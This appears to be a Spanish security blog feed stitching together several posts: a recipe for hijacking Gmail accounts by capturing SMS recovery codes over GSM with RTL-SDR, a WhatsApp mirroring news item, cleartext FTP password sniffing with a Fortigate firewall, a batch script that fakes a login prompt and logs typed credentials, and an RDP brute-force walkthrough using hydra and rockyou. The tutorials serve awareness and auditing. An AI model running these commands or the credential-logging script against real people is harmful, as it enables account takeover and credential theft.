Cómo te pueden robar tu Gmail con un ataque RTL-SDR

Estándar
Figura 1: Cómo te pueden robar tu identidad con un ataque RTL-SDR
Entre todas las técnicas para atacar a un usuario con un smartphone, hay una que es curiosamente extremadamente peligrosa. Se trata de robar una identidad por medio de un ataque RTL-SDR de la forma más sencilla, haciendo algo similar a Robar una cuenta de Hotmail o Gmail usando Siri. Os cuento la idea.
He olvidado tu contraseña de Gmail o Hotmail
Si no has tenido precaución de poner un segundo factor de autenticación con Google Authenticator o con cualquier otro sistema para proteger identidades digitales, entonces tu cuenta está protegida solo por la contraseña, o por contraseña más OTPenviado por SMS.
Figura 2: Solicitar la recuperación de contraseña vía código SMS
Esto permite a cualquier atacante intentar quitarte la cuenta cambiando la contraseña de tu identidad siguiendo el formulario de “He olvidado mi contraseña”. Entre los métodos que se pueden solicitar está el de envío de un código temporal de recuperación de cuenta, que se puede enviar vía SMS para que te llegue a teléfono móvil.
Figura 3: Visualización del código de recuperación con la pantalla bloqueada
Si tienes la previsualización de mensajes en el terminal y el atacante tiene alguna posibilidad de acceso físico, se podría ver el código en la ventana bloqueada y robar la cuenta, pero si no… se puede hacer uso de un ataque RTL-SDR.
Capturar el mensaje SMS con RTL-SDR
El ataque RTL-SDR se basa en sintonizar una antena de comunicaciones en la bandaGSM para capturar el tráfico que por ella circula y después descifrarlo con lasrainbow tables que se publicaron para ello. Si el dueño de la identidad que se quiere robar tiene el teléfono encendido y está en la misma zona geográfica, solo sería necesario pedir el envío del código de recuperación de contraseña vía SMS y capturarlo tal y como se explica en este artículo.
Figura 4: Adaptando la señal para capturar canal GSM
A partir de este momento se podría cambiar la contraseña. Una vez cambiada la contraseña, si la persona tuviera puesto un OTP (One-Time Password) basado enSMS, entonces sería necesario seguir capturando los SMS hasta conseguir el OTP y acceder a la cuenta. Y fin.
Figura 5: SMS capturado con WireShark usando RTL-SDR
Este ataque NO se puede hacer en todas las estaciones base ni en todas las operadoras, ya que algunas están desplegando ya nuevos protocolos de cifrado A5/3, pero en las antiguas estaciones base sí, es conveniente poner sistemas Time-Based OTP, Latch o similares para evitar estos ataques. Si quieres saber más de estos ataques, te recomiendo el libro de Hacking de Comunicaciones Móviles.

Controla WhatsApp desde tu PC gracias a AirDroid

Estándar

airdroid1

Poder utilizar WhatsApp desde el PC es algo que mucha gente demanda, y de lo quehemos hablado anteriormente en el caso de que fuéramos ROOT, gracias a PushBullet. Y ahora nos llega una opción nueva, para poder controlar WhatsApp desde nuestro PC.

Hace tan sólo unos días os anunciábamos la gran actualización de AirDroid a la versión 3.0, una versión cargada de novedades, especialmente para los clientes nativos de escritorio.

AirMirror, la llave para llevar WhatsApp al PC con AirDroid

Y una de esas novedades, llamada AirMirror, es la herramienta que nos permitirá controlar WhatsApp desde el PC.

airdroid3

AirMirror nos permite utilizar la técnica conocida como mirroring, con la cual podemos ver la pantalla de nuestro dispositivo Android en el PC en cualquier momento. A partir de ahí, podemos controlar dicha pantalla con los diferentes periféricos de entrada de nuestro PC (teclado, ratón), por lo que podremos ver los mensajes de WhatsApp sin problema ninguno, ya que WhatsApp es una de las aplicaciones para las que incluyeron soporte en AirMirror.

Screen Shot 2014-12-06 at 17.31.46

Pero para poder utilizar el mirar, necesitaremos tener acceso root.

Pero, ¿qué pasa con las notificaciones de los mensaje que recibamos? Pues exactamente como ocurre con PushBullet, tendremos un sistema de notificaciones, de forma que podamos recibir las notificaciones de nuestro dispositivo también en el PC.

AirMirror aún no disponible para Lollipop

airdroid2

La mala noticia llega cuando hemos probado con un Nexus 5 y su recientemente estrenada nueva versión de Android: Lollipop. Y es que AirMirror aún no está disponible para Lollipop, aunque lo añadirán próximamente. Por lo que, en este caso si tienes la última versión de Android, tendrás que esperar.

AirDroid – Android on Computer
Requiere Android Varía según el dispositivo
Versión: Varía según el dispositivo
Tamaño: Varía según el dispositivo

Via FaqsAndroid

Capturando credenciales en claro mediante un firewall Fortigate

Estándar

En este mundillo estamos cansados de repetir que se sustituya FTP y telnet por sus respectivos equivalente seguros: SCP, FTPS, SFTP, SSH… pero después de tantos años se siguen utilizando 😦

Hoy vamos a hacer una pequeña demostración de la inseguridad del uso de estos protocolos no cifrados capturando tráfico mediante un firewall y obteniendo las contraseñas en claro.

En la vida real el firewall podría ser la máquina de un atacante, el cuál tendría la misma facilidad para robar credenciales simplemente esnifando el tráfico en un nodo que está en medio del camino de nuestra conexión cliente-servidor. Y no sólo el atacante podría ser una persona hábil que ha envenenado ARP y ha conseguido hacer un MiTM… en este gran entramado que es Internet, un ISP o hasta el administrador de red de una empresa podría estar vigilando…

Para nuestro escenario concreto el firewall será un Fortigate. Estos cacharros tienen una gran variedad de comandos de diagnóstico. Permiten depurar aplicaciones comunes (ike, sslvpn, urlfilter…), el proceso de flujo de paquetes e incluso activar un sniffer bastante decente que arroja una salida muy similar a la de tcpdump (será un fork?). La sintaxis del comando es la siguiente:

# diag sniffer packet <interfaz> <‘filtro’> <verbose> <contador> a

Veamos primero un ejemplo sencillo:

# diag sniffer packet internal 'src host 192.168.0.130 and dst host 192.168.0.1' 1

192.168.0.130.3426 -> 192.168.0.1.80: syn 1325244087
192.168.0.1.80 -> 192.168.0.130.3426: syn 3483111189 ack 1325244088
192.168.0.130.3426 -> 192.168.0.1.80: ack 3483111190
192.168.0.130.3426 -> 192.168.0.1.80: psh 1325244088 ack 3483111190
192.168.0.1.80 -> 192.168.0.130.3426: ack 1325244686
192.168.0.130.1035 -> 192.168.0.1.53: udp 26
192.168.0.130.1035 -> 192.168.0.1.53: udp 42
192.168.0.130.1035 -> 192.168.0.1.53: udp 42
192.168.0.130 -> 192.168.0.1: icmp: echo request
192.168.0.130.3426 -> 192.168.0.1.80: psh 1325244686 ack 3483111190
192.168.0.1.80 -> 192.168.0.130.3426: ack 1325244735
192.168.0.130 -> 192.168.0.1: icmp: echo request


Y las opciones que manejamos:

– Interfaz, como su nombre indica, es el interfaz por el que se capturarán los paquetes. Podemos especificar “any” para que capture en todos los interfaces.

– El filtro puede tener también la siguiente sintaxis: ‘[[src|dst] host] [[src|dst] host] [[arp|ip|gre|esp|udp|tcp] [port_no]] [[arp|ip|gre|esp|udp|tcp] [port_no]]’

– Verbose tiene diferentes niveles:
1: muestra la cabecera de los paquetes
2: muestra la cabecera y los datos IP de los paquetes
3: muestra la cabecera y los datos ethernet de los paquetes
4: muestra la cabecera de los paquetes con el nombre de interfaz
5: muestra la cabecera y los datos IP de los paquetes con el nombre de interfaz
6: muestra la cabecera y los datos ethernet de los paquetes con el nombre de interfaz

– El contador indica el número de paquetes que se recogerán antes de parar el sniffer. Si no especificamos nada seguirá recogiendo paquetes hasta que lo paremos con CTRL+C.

– Y por último la opción “A” es para mostrar timestamps

Ahora imaginemos que queremos capturar las credenciales de un acceso FTP. Podríamos capturar las de todas las sesiones en un momento dado filtrando simplemente el puerto TCP; pero para el ejemplo supongamos que queremos capturar sólo las credenciales de un acceso a un servidor FTP específico, ftp.rediris.org con IP 130.206.1.5.

Primero, en Putty, no olvidemos capturar la salida de la sesión a un fichero de log:

Después iniciaremos el sniffer:

# diag sniffer packet any 'dst host 130.206.1.5' 6
interfaces=[any]
filters=[dst host 130.206.1.5]

Y desde un cliente ftp estándar lanzaremos la conexión:


C:\Users\vmotos\Desktop>ftp ftp.rediris.org
Conectado a zeppo.rediris.es.
220-  Bienvenido al FTP an├│nimo de RedIRIS.
220-Welcome to the RedIRIS anonymous FTP server.
220 Only anonymous FTP is allowed here
Usuario (zeppo.rediris.es:(none)): vicente
331-            RedIRIS - Red Acad├®mica y de Investigaci├│n Espa├▒ola
331-                RedIRIS - Spanish National Research Network
331-
331-           ftp://ftp.rediris.es  -=-  http://ftp.rediris.es
331-
331 Any password will work
Contraseña:
230 Any password will work

Ahora comprobareis rápidamente que el sniffer está capturando datos. Si os fijáis en el fichero de log generado aparecerá la contraseña en claro:


7.816069 123.123.123.11.19043 -> 130.206.1.5.21: psh 840580428 ack 3720924021
0x0000   0000 0000 0000 0009 0fd3 bac5 0800 4500        ..............E.
0x0010   0035 1d7b 4000 7c06 5d89 c2e0 3d0b 82ce        .5.{@.|.]...=...
0x0020   0105 4a63 0015 321a 3d4c ddc8 cb75 5018        ..Jc..2.=L...uP.
0x0030   07a1 ba58 0000 5041 5353 2070 7275 6562        ...X..PASS.prueb
0x0040   610d 0a      

Aunque si lo preferís, existe un script en perl fgt2eth.pl para exportar el fichero a formato pcap y analizarlo más claramente con Wireshark.

Primero quitamos la cabecera que nos deja putty:

=~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2014.12.04 01:35:03 =~=~=~=~=~=~=~=~=~=~=~=

Y luego lo exportamos con esta utilidad:

C:\Users\vmotos\Desktop>fgt2eth.exe
Version : 1.22 (Feb 21 2008)

Assuming OS: windows
Usage : fgt2eth.pl -in <input_file_name>

Mandatory argument are :
   -in  <input_file>     Specify the file to convert (FGT verbose 3 text file)

Optional arguments are :
   -help                 Display help only
   -version              Display script version and date
   -out <output_file>    Specify the output file (Ethereal readable)
                         By default '<input_file>.eth' is used
   -lines <lines>        Only convert the first <lines> lines
   -system <system>      Can be either linux or windows
   -debug                Turns on debug mode
      
C:\Users\vmotos\Desktop>fgt2eth.exe -i putty.log -o putty.pcap
Conversion of file putty.log phase 1 (FGT verbose 3 conversion)
Output written to putty.pcap.
Conversion of file putty.log phase 2 (windows text2pcap)
Ouput file to load in Ethereal is 'putty.pcap'

Y por último lo abrimos con Wireshark. Si queréis afinar más la búsqueda podéis usar el filtro:

(ftp.response.code == 230 || ftp.request.command == “PASS”) || (ftp.request.command == “USER”)

¡Feliz caza!

Super-cutre script para hacerse un keylogger en batch

Estándar

Algo cutre pero muy apañao… y seguro que más de uno se dará un gustazo con el batch… Xd

Se trata de un script para hacerse un keylogger *muy* básico. Simplemente crea el directorio c:\Logs y luego lanza el fichero Logger.bat con el siguiente código:

@echo off
color a
title Login
cls
echo Introduce usuario y password para poder ejecutar el programa:
echo.
echo.
cd "C:\Logs"
set /p user=Username:
set /p pass=Password:
echo Username="%user%" Password="%pass%" >> Log.txt
start calc.exe
exit

Enjoy!

Fuente: http://www.latesthackingnews.com/2014/04/09/how-to-create-a-keylogger-in-notepad/

Ataques de fuerza bruta a RDP con Hydra

Estándar
Buenas a todos, en el post de hoy vamos a ver como realizar ataques de fuerza bruta a RDP, para intentar autenticarnos remotamente en un sistema Windows sin necesidad de conocer la contraseña del usuario.
Ya os hemos hablado durante numerosos posts de como localizar archivos RDP en Internet, mediante Google Hacking y Shodan, con verbos y búsquedas como “ext:rdp”, por lo que hoy simplemente nos centraremos en identificar si está RDP activo y en el ataque en sí.
Para verificar si tenemos el servicio RDP operativo en el servidor en el que realizaremos la auditoría utilizaremos la herramienta NMAP, y comprobaremos que el puerto 3389 está abierto:

nmap –open –p 3389 IP

El siguiente paso será lanzar el ataque de fuerza bruta con el diccionario “rockyou.txt” que viene incluido en Kali.
El diccionario por defecto se encuentra comprimido en GZ en la siguiente ruta “/usr/share/wordlist/rockyou.txt.gz”.
Para descomprimirlo podéis utilizar la siguiente instrucción:

gzip –d /usr/share/wordlist/rockyou.txt.gz

Finalmente, lanzaremos el ataque, y en función de la resistencia de la contraseña, lograremos obtener la misma para acceder al equipo de manera remota:

hydra –t 4 –V –l administrator –P /root/Desktop/Password/rockyou.txt rdp://IP

Sencillo ¿verdad? En este caso la mayor dificultad estará en la fortaleza de la contraseña y en los posibles sistemas de seguridad como IPS y Firewall, que nos puedan cortar la conexión.

Nuestro servidor de túneles siempre online (3ª Parte) icmp-tunnel y VPN PPTP

Estándar
Siguiendo con esta serie de entradas hoy veremos una técnica más que hay que conocer (indispensable) y empezaremos con el tema de las VPNs… Creo que todo el mundo sabe que es una VPN pero por si acaso, vamos a refrescar conceptos (tirando de Wikipedia):

Una red privada virtual, RPV, o VPN de las siglas en inglés de Virtual Private Network, es una tecnología de red que permite una extensión “segura” de la red local (LAN) sobre una red pública o no controlada como Internet. Permite que la computadora en la red envíe y reciba datos sobre redes compartidas o públicas como si fuera una red privada con toda la funcionalidad, seguridad y políticas de gestión de una red privada. Esto se realiza estableciendo una conexión virtual punto a punto mediante el uso de conexiones dedicadas, cifrado o la combinación de ambos métodos.

Continuar leyendo